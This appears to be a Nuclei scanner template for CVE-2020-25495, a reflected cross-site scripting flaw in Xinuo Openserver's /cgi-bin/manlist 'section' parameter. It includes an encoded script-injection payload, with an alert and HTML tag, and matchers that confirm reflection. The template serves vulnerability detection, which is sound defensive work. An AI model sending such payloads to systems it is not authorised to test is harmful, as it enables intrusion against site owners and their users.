id: CVE-2020-25495

info:
  name: Xinuo Openserver 5/6 - Cross-Site scripting
  author: 0x_Akoko
  severity: medium
  description: Xinuo (formerly SCO) Openserver versions 5 and 6 allows remote attackers to inject arbitrary web script or HTML tag via the parameter 'section' and is vulnerable to reflected cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts or steal sensitive information from users.
  remediation: |
    Apply the latest security patches or updates provided by Xinuo to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49300
    - https://github.com/Ramikan/Vulnerabilities/blob/master/SCO%20Openserver%20XSS%20%26%20HTML%20Injection%20vulnerability
    - http://packetstormsecurity.com/files/160634/SCO-Openserver-5.0.7-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25495
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-25495
    cwe-id: CWE-79
    epss-score: 0.08142
    epss-percentile: 0.94115
    cpe: cpe:2.3:a:xinuos:openserver:5.0.7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xinuos
    product: openserver
  tags: cve2020,cve,sco,xss,edb,packetstorm,intrusive,xinuos,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/manlist?section=%22%3E%3Ch1%3Ehello%3C%2Fh1%3E%3Cscript%3Ealert(/{{randstr}}/)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <h1>hello</h1><script>alert(/{{randstr}}/)</script>

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022048bfe7440563406ab8d86b14799d4b06590bec27e0844d4a720537eeff548ae3022100e09eefc5bf8072afb139ba36468b228b4c100ad0b45c3eb31172160bdb106f91:922c64590222798bb761d5b6d8e72950